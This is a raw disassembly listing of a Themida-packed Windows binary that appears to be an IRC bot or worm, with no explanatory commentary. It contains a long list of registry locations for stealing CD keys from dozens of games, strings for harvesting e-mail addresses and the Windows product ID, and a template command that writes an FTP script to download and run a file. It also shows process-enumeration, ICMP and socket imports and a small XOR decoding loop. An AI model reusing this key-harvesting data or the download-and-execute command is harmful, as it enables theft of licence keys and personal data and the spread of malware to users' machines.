aUnrealTourna_0 db '[Unreal Tournament 2003: ',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
dd 2 dup(0)
aTheGladiators db '[The Gladiators: ',0
align 10h
dd 0
aSof2key db 'sof2key',0
align 10h
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
dd 2 dup(0)
aSoldierOfFortu db '[Soldier Of Fortune 2: ',0
align 10h
aCdkey db 'CDKey',0
align 4
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
dd 3 dup(0)
aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0
align 10h
dd 0
aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
db 'ion\ergc',0
align 10h
dd 3 dup(0)
aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0
align 4
dd 2 dup(0)
aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
align 4
dd 2 dup(0)
dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aNeverwinterNig db '[Neverwinter Nights: ',0
align 4
dd 0
aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 10h
dd 3 dup(0)
aNeedForSpeedUn db '[Need For Speed: Underground: ',0
align 4
dd 2 dup(0)
aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
db 'gc',0
dd 4 dup(0)
aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0
align 10h
aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
dd 2 dup(0)
dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing20 db '[Nascar Racing 2003: ',0
align 4
dd 0
aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
dd 3 dup(0)
aNascarRacing_0 db '[Nascar Racing 2002: ',0
align 10h
aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 10h
dd 4 dup(0)
aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0
dd 2 dup(0)
aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
dd 4 dup(0)
aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0
align 10h
aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 4
dd 3 dup(0)
aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0
align 4
dd 0
aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
dd 3 dup(0)
aJamesBond007Ni db '[James Bond 007: Nightfire: ',0
align 4
dd 0
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 10h
aIndustryGiant2 db '[Industry Giant 2: ',0
align 8
aCdkey_0 db 'CDkey',0
align 10h
aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0
dd 2 dup(0)
aIgi2CovertStri db '[IGI2: Covert Strike: ',0
align 10h
aKey db 'key',0
aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aHiddenAndDange db '[Hidden and Dangerous 2: ',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 8
aHalfLife db '[Half-Life: ',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aGunmanChronicl db '[Gunman Chronicles: ',0
align 4
dd 0
aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db '[Global Operations: ',0
align 4
dd 0
aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
dd 3 dup(0)
aFreedomForce db '[Freedom Force: ',0
align 4
aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
dd 2 dup(0)
dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aFifa2002 db '[FIFA 2002: ',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0
align 4
dd 2 dup(0)
aCounterStrike db '[Counter-Strike: ',0
align 4
dd 0
aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0
align 4
dd 2 dup(0)
aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0
align 10h
aSerial db 'Serial',0
align 4
aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0
align 4
dd 0
aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0
align 10h
dd 2 dup(0)
aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
dd 4 dup(0)
aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0
dd 2 dup(0)
aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
dd 3 dup(0)
aCommandAndCo_2 db '[Command and Conquer: Generals: ',0
align 10h
aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
dd 3 dup(0)
aBlackAndWhite db '[Black and White: ',0
align 4
dd 0
aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
dd 3 dup(0)
aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0
dd 2 dup(0)
aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 10h
aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0
align 10h
aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
dd 4 dup(0)
aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0
dd 2 dup(0)
db 53h
aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
dd 3 dup(0)
aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o
align 10h
aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo
align 4
aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo
align 10h
aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o
align 4
dd 0
dword_44692C dd 3A6D6961h, 732520h, 0dword_446938 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
; DATA XREF: ___:00434E82o
db '\Login',0
dd 4 dup(0)
aFoundCodCdkeyS db 'Found COD CDKey (%s).',0
align 4
dd 0
aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0
align 8
aSMainS db '%s\main\%s',0
align 8
aCodkey db 'codkey',0
align 10h
aSoftwareActi_0 db 'Software\Activision\Call of Duty',0
align 8
aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0
align 10h
dd 0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
dd 0
dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath db 'InstallPath',0
dd 0
dword_446A6C dd 3A6E736Dh, 732520h, 0dword_446A78 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
; DATA XREF: ___:00435447o
db 'ice',0
align 4
dd 3 dup(0)
aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo
align 10h
aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo
align 4
dd 2 dup(0)
aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o
align 4
dd 2 dup(0)
aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo
align 4
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
; DATA XREF: sub_4356F0+4FEo
align 4
dd 2 dup(0)
aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o
align 8
aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo
align 4
loc_446BA4: ; DATA XREF: sub_4356F0+2D3o
dec eax
dec ebx
inc ebx
inc ebx
cmp ah, [eax]
and eax, 73h
loc_446BAF: ; DATA XREF: sub_4356F0+1EBo
add [eax+4Bh], cl
dec esp
dec ebp
cmp ah, [eax]
and eax, 73h
loc_446BBB: ; DATA XREF: sub_4356F0+103o
add [eax+4Bh], cl
inc ebx
push ebp
cmp ah, [eax]
and eax, 73h
loc_446BC7: ; DATA XREF: ___:00435EB6o
; ___:00436110o ...
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cx, 0FFFFh
loc_446BD8: ; CODE XREF: ___:00446BDDj
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_446BD8
; ---------------------------------------------------------------------------
db 0
dd 0
aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
; DATA XREF: ___:0043633Bo
db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
dd 0Ch dup(0)
off_446CD0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o
; ___:0043E354o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
align 10h
dd 1, 9Bh dup(0)
byte_446F60 db 0 ; DATA XREF: sub_4034E0+95o
; sub_404640+200o ...
align 4
dword_446F64 dd 0 ; sub_4245F0+11o ...
dword_446F68 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ...
align 10h
dword_446F70 dd 0 ; ___:0040D345w ...
dd 8 dup(0)
dword_446F94 dd 41h dup(0) ; ___:0040D380o ...
dword_447098 dd 0 ; ___:loc_40D3D4r ...
dword_44709C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ...
dword_4470A0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw
dword_4470A4 dd 0 ; sub_40D580+E3r
dd 11h dup(0)
dword_4470EC dd 0 ; sub_40FF60+47Dr
dword_4470F0 dd 0 ; sub_40FF60+515r ...
dword_4470F4 dd 0 ; sub_40FF60+655r ...
dword_4470F8 dd 0 ; sub_40FF60+B79r ...
dword_4470FC dd 0 ; sub_40FF60+74Br
dword_447100 dd 0 ; sub_40FF60+828r
dword_447104 dd 0 ; sub_40FF60+77Cr
dword_447108 dd 0 ; sub_40FF60+4DDr ...
dword_44710C dd 0 ; sub_40FF60+311r
dword_447110 dd 0 ; sub_40FF60+34Dr ...
dword_447114 dd 0 ; sub_40FF60+33Dr
dword_447118 dd 0 ; sub_40FF60+3D2r
dword_44711C dd 0 ; sub_40FF60+E93r
dword_447120 dd 0 ; sub_40FF60+1220r ...
dword_447124 dd 0 ; sub_411FE0+4DAr
dword_447128 dd 0 ; sub_40FF60+683r
dword_44712C dd 0 ; sub_40FF60+6B5r
dword_447130 dd 0 ; sub_40FF60+1252r
dd 5 dup(0)
dword_447148 dd 10h dup(0) ; ___:0040405Fo ...
db 2 dup(0)
byte_44718A db 0 ; DATA XREF: sub_409A30r sub_409AA0r
align 4
db 3 dup(0)
byte_44718F db 0 ; DATA XREF: sub_40D580+10Fr
db 0
byte_447191 db 0 ; DATA XREF: sub_40DB10r
word_447192 dw 0 ; DATA XREF: sub_40DB10+9o
dd 44h dup(0)
db 3 dup(0)
byte_4472A7 db 0 ; DATA XREF: ___:00412ECAo
; ___:00412F7Fo ...
db 3 dup(0)
byte_4472AB db 0 ; DATA XREF: sub_41F860:loc_41F89Dr
align 10h
dword_4472B0 dd 12h dup(0) ; sub_40FF60+114o
db 0
byte_4472F9 db 3 dup(0) ; DATA XREF: ___:00408AEBo
; sub_40FF60+159o ...
dd 11h dup(0)
db 2 dup(0)
word_447342 dw 0 ; DATA XREF: ___:00408AC2o
; sub_40FF60+132o
dd 6 dup(0)
word_44735C dw 0 ; DATA XREF: sub_40FF60+1E1r
align 10h
dd 0Ah dup(0)
db 3 dup(0)
byte_44738B db 0 ; DATA XREF: ___:00408B14o
; sub_40FF60+17Co ...
dd 12h dup(0)
dword_4473D4 dd 12h dup(0) ; sub_40FF60+F7o ...
db 0
byte_44741D db 3 dup(0) ; DATA XREF: ___:00408A4Do
; sub_40FF60+D0o ...
dd 23h dup(0)
db 3 dup(0)
byte_4474AF db 0 ; DATA XREF: ___:00408B3Do
; sub_40FF60+19Ao
dd 24h dup(0)
db 0
byte_447541 db 3 dup(0) ; DATA XREF: sub_425020+2Bo
; sub_425020+37o
dd 11h dup(0)
db 2 dup(0)
word_44758A dw 0 ; DATA XREF: ___:00412E9Ao
; ___:00412EB9o ...
dd 3Ch dup(0)
db 3 dup(0)
dword_44767F dd 0 ; sub_41EF30+154r ...
align 4
dd 35h dup(0)
db 0
byte_447759 db 0 ; DATA XREF: sub_41B950+18r
align 4
dd 36h dup(0)
byte_447834 db 0 ; DATA XREF: sub_40FF60+842r
align 4
dd 0Bh dup(0)
dword_447864 dd 18h dup(0) ; sub_40ED70+97o ...
db 2 dup(0)
byte_4478C6 db 0 ; DATA XREF: sub_404C70+258r
; sub_41D830+671r
align 4
dd 11h dup(0)
db 3 dup(0)
byte_44790F db 0 ; DATA XREF: sub_404C70:loc_404EE0r
; sub_41D830:loc_41DEB9r
dd 0Bh dup(0)
db 3 dup(0)
byte_44793F db 0 ; DATA XREF: sub_404C70+279o
; sub_41D830+692o ...
dd 12h dup(0)
dword_447988 dd 2Bh dup(0) ; sub_41EF30+630o ...
dword_447A34 dd 0 dd 11h dup(0)
db 0
dword_447A7D dd 0 align 4
dd 0D9h dup(0)
byte_447DE8 db 0 ; DATA XREF: sub_41EF30+146r
; sub_41EF30+5EEr
align 4
dd 3A8h dup(0)
db 2 dup(0)
word_448C8E dw 0 ; DATA XREF: sub_404640+1BDo
; sub_404B10+31o ...
db 2 dup(0)
word_448C92 dw 0 ; DATA XREF: sub_404B10+4o
dd 1Ch dup(0)
db 2 dup(0)
word_448D06 dw 0 ; DATA XREF: sub_407660+36o
; sub_4076F0+3Eo ...
dd 26h dup(0)
dword_448DA0 dd 86h dup(0) ; sub_404C70+27Eo ...
db 3 dup(0)
byte_448FBB db 0 ; DATA XREF: sub_425640+3Bw
; sub_4256B0+7Ew ...
dd 7Fh dup(0)
db 3 dup(0)
dword_4491BB dd 0 ; sub_4256B0+4Fw ...
dword_4491BF dd 0 ; ___:004240BDw ...
dword_4491C3 dd 0 ; sub_4256B0+5Dr ...
dword_4491C7 dd 0 ; sub_4256B0+8Cr ...
dword_4491CB dd 0 ; sub_4256B0+9Dr
dword_4491CF dd 0 ; ___:004240F1r ...
byte_4491D3 db 0 ; DATA XREF: sub_425640+42w
; sub_4256B0+85w
dd 301Ch dup(0)
db 3 dup(0)
byte_455247 db 0 ; DATA XREF: ___:off_444F30o
dd 0EB85h dup(0)
dword_49005C dd 0B0A3h dup(0) db 0
byte_4BC2E9 db 3 dup(0) ; DATA XREF: ___:off_402009o
dd 6058h dup(0)
db 0
byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_44432Co
dd 6DAh dup(0)
db 3 dup(0)
dword_4D5FBB dd 0 ; sub_4258E0+13o
align 10h
dd 39h dup(0)
db 0
byte_4D60A5 db 3 dup(0) ; DATA XREF: sub_404C20+1Eo
; sub_404C70+65o ...
dd 5 dup(0)
byte_4D60BC db 0 ; DATA XREF: sub_404C70+292w
; sub_404C70+4EEw
dword_4D60BD dd 0 ; sub_422A40:loc_4231C4r ...
align 4
dd 0
db 0
dword_4D60C9 dd 0 ; sub_404C20+2Aw
byte_4D60CD db 3 dup(0) ; DATA XREF: ___:00412EF4o
; ___:00412F17o
dd 9 dup(0)
db 3 dup(0)
dword_4D60F7 dd 0 ; sub_427AD0:loc_427BC7r
align 4
dd 2Fh dup(0)
db 3 dup(0)
byte_4D61BB db 0 ; DATA XREF: sub_425870+16o
; sub_4258A0+19o
db 3 dup(0)
byte_4D61BF db 0 ; DATA XREF: sub_4257A0+4Co
dd 6Fh dup(0)
db 3 dup(0)
byte_4D637F db 0 ; DATA XREF: ___:004081D8o
; ___:00408664o ...
dd 8 dup(0)
dword_4D63A0 dd 0 dd 51h dup(0)
db 0
byte_4D64E9 db 0 ; DATA XREF: sub_426820:loc_4268D0r
; sub_426CE0:loc_426D95r ...
align 4
dd 9Eh dup(0)
db 0
dword_4D6765 dd 0 ; sub_426CE0+7Dw ...
align 4
dd 1EDAh dup(0)
db 0
byte_4DE2D5 db 3 dup(0) ; DATA XREF: ___:00419E93o
; sub_419F50+13o
dd 1EB9h dup(0)
db 3 dup(0)
byte_4E5DBF db 0 ; DATA XREF: sub_426A60+1Do
dd 21h dup(0)
db 0
byte_4E5E45 db 3 dup(0) ; DATA XREF: ___:00419EA3o
dd 235h dup(0)
db 3 dup(0)
byte_4E671F db 0 ; DATA XREF: sub_426A60+2Fo
dd 1D5h dup(0)
byte_4E6E74 db 0 ; DATA XREF: sub_404C70+299w
; sub_40FF60:loc_40FFA2r ...
byte_4E6E75 db 3 dup(0) ; DATA XREF: sub_404C70+235o
; sub_404C70+87Ao ...
dd 4 dup(0)
db 2 dup(0)
word_4E6E8A dw 0 ; DATA XREF: sub_404C70+2D4o
; ___:00408678o ...
dd 0Fh dup(0)
db 0
byte_4E6EC9 db 0 ; DATA XREF: sub_41F860+31w
; sub_41F860+47w ...
db 0
byte_4E6ECB db 0 ; DATA XREF: sub_418490+21o
; sub_41D830+341o ...
dd 7522h dup(0)
dword_504354 dd 0AC2h dup(0) dword_506E5C dd 1000h dup(0) ; ___:00419A9Do ...
dword_50AE5C dd 333h dup(0) ; ___:00419AB8o ...
dword_50BB28 dd 0 ; sub_41A010+1Br ...
dd 3 dup(0)
dword_50BB38 dd 0 ; ___:0041FB3Dw ...
dword_50BB3C dd 0 ; sub_41FA90+2Aw ...
dword_50BB40 dd 0 dword_50BB44 dd 0 ; ___:0041FB5Bw
dword_50BB48 dd 0 dword_50BB4C dd 0 ; ___:0041FB67w ...
dword_50BB50 dd 0 ; ___:0041FB6Dw ...
dword_50BB54 dd 0 ; ___:00420DA9o
dword_50BB58 dd 0 ; sub_41FA90:loc_41FAB4r ...
dword_50BB5C dd 0 ; ___:0041FB81w
dword_50BB60 dd 0 ; sub_420530+41w ...
dword_50BB64 dd 0 ; sub_420530+7Fr
dword_50BB68 dd 0 ; sub_420530+92r ...
dword_50BB6C dd 0 ; sub_420530+148r
dd 3 dup(0)
dword_50BB7C dd 0 ; ___:0041C1A5o
dword_50BB80 dd 0 ; sub_423720+5r ...
dword_50BB84 dd 0 ; ___:00423EB1r ...
dd 7CEh dup(0)
dword_50DAC0 dd 6 dup(0) ; ___:00423DB2o ...
dword_50DAD8 dd 196h dup(0) ; sub_423660+6Do
dword_50E130 dd 0 word_50E134 dw 0 ; DATA XREF: sub_424E90+A9r
align 4
byte_50E138 db 0 ; DATA XREF: sub_4254E0:loc_425540r
; sub_4254E0+97w
align 4
dword_50E13C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_426820+D9r
dword_50E140 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_426820+45r
dword_50E144 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_426820+54r ...
dd 0
dword_50E14C dd 80h dup(0) ; sub_426A60+129o
dword_50E34C dd 0 dword_50E350 dd 0 dd 1Dh dup(0)
dword_50E3C8 dd 0 ; ___:0042B11Dr ...
dword_50E3CC dd 0 ; sub_42CB10:loc_42CBA6r ...
dword_50E3D0 dd 0 ; resolved to->WS2_32.connect ; sub_431280+2Dr ...
dword_50E3D4 dd 0 dword_50E3D8 dd 0 ; sub_430270r ...
dword_50E3DC dd 0 dword_50E3E0 dd 0 ; sub_42F6B0+111w ...
dword_50E3E4 dd 0 ; sub_42F6B0+F6r ...
dword_50E3E8 dd 0 ; ___:loc_4303B0r
dword_50E3EC dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_430FE0+2Cr ...
dd 2 dup(0)
dd 0
dd 139h dup(0)
dword_50E8E0 dd 10h dup(0) ; sub_430180:loc_4301B0o ...
dword_50E920 dd 8 dup(0) ; sub_42F540+25o ...
dword_50E940 dd 8 dup(0) ; sub_430690+25o ...
dword_50E960 dd 8 dup(0) ; sub_431560+84o ...
dword_50E980 dd 8 dup(0) ; sub_431560+8Bo ...
dword_50E9A0 dd 35Ch dup(0) ; sub_42F6B0:loc_42F7C7o ...
dword_50F710 dd 0 align 8
dword_50F718 dd 0 dd 2 dup(0)
dword_50F724 dd 0 dd 4 dup(0)
dword_50F738 dd 0 ; sub_40E7A0+25Ar ...
dword_50F73C dd 0 dword_50F740 dd 0 dd 2 dup(0)
dword_50F74C dd 0 ; sub_40ED70+15Er ...
dd 0
dword_50F754 dd 0 ; sub_40E7A0+22Cr
dd 0
dword_50F75C dd 0 ; sub_4207E0+285r ...
dd 0
dword_50F764 dd 0 ; sub_40E7A0+24Cr
dd 3Ch dup(0)
dword_50F858 dd 0 dword_50F85C dd 0 dword_50F860 dd 0 align 10h
dd 0
dword_50F874 dd 0 ; sub_420530+FEr
dd 0Ah dup(0)
dword_50F8A0 dd 0 ; sub_420530:loc_42057Cr ...
dword_50F8A4 dd 0 ; sub_40FF60+47r ...
dd 7 dup(0)
dword_50F8C4 dd 0 align 10h
dword_50F8D0 dd 0 ; sub_41B4B0+2Fr ...
align 8
dword_50F8D8 dd 0 ; sub_4203D0+2Er ...
dd 3 dup(0)
dword_50F8E8 dd 0 dd 8 dup(0)
dd 0
dd 27h dup(0)
dword_50F9AC dd 0 dd 2Ch dup(0)
dword_50FA60 dd 0 ; sub_42D2C0+53r ...
dword_50FA64 dd 0 dd 4 dup(0)
dword_50FA78 dd 0 align 10h
dword_50FA80 dd 0 dword_50FA84 dd 0 ; sub_42CB10+4Ar ...
align 10h
dword_50FA90 dd 0 dword_50FA94 dd 0 dword_50FA98 dd 0 dword_50FA9C dd 0 dword_50FAA0 dd 0 dword_50FAA4 dd 0 dd 0
dword_50FAAC dd 0 ; ___:0041C2DAr
dd 3 dup(0)
dword_50FABC dd 0 ; sub_41B950+17Er ...
dd 0
dword_50FAC4 dd 0 ; sub_42DFD0+34r ...
dd 0
dword_50FACC dd 0 dd 0
dword_50FAD4 dd 0 ; sub_42CB10+90r
dword_50FAD8 dd 0 align 10h
dword_50FAE0 dd 0 dd 4 dup(0)
dword_50FAF4 dd 0 ; sub_41BC90+5Dr
dword_50FAF8 dd 0 ; sub_40FF60+1126r ...
dword_50FAFC dd 0 ; ___:00419BDAr
dd 2 dup(0)
dword_50FB08 dd 0 ; sub_422A40+203r ...
dd 2 dup(0)
dword_50FB14 dd 0 dd 0
dd 0
dd 34h dup(0)
dword_50FBF0 dd 0 ; sub_419F50+2Dr ...
dd 0Bh dup(0)
dword_50FC20 dd 0 dd 2 dup(0)
dword_50FC2C dd 0 ; sub_425020:loc_4250C9r ...
dword_50FC30 dd 0 ; sub_42A5F0:loc_42A6ABr
dd 4 dup(0)
dword_50FC44 dd 0 align 10h
dword_50FC50 dd 0 ; sub_42B540+E8r
align 8
dword_50FC58 dd 0 dword_50FC5C dd 0 ; sub_42A5F0+F9r
dd 6 dup(0)
dword_50FC78 dd 0 align 10h
dword_50FC80 dd 0 ; sub_41A6D0+48r ...
dword_50FC84 dd 0 dword_50FC88 dd 0 ; sub_41F860+198r ...
dword_50FC8C dd 0 ; ___:004216E1r ...
dword_50FC90 dd 0 ; sub_427AD0+18Dr ...
dd 4DBh dup(0)
___ ends
; Section 2. (virtual address 00111000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00111000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 511000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 00112000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00112000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 512000h
dd 400h dup(0)
_idata__ ends
; Section 4. (virtual address 00113000)
; Virtual size : 000F4000 ( 999424.)
; Section size in file : 000F4000 ( 999424.)
; Offset to raw data for section: 00113000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 513000h
dd 5 dup(0)
public start
start dd 0C54Ch dup(0)
db 3 dup(0)
byte_544547 db 0 ; DATA XREF: ___:off_445248o
dd 7512h dup(0)
db 3 dup(0)
db 0
dd 179B2h dup(0)
dword_5C005C dd 0A858h dup(0) db 0
byte_5EA1BD db 3 dup(0) ; CODE XREF: sub_406890+12Cp
; sub_409BC0+1Dp ...
dd 7390h dup(0)
Themida_ ends
; Section 5. (virtual address 00207000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00207000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 607000h
align 2000h
_idata2 ends
end start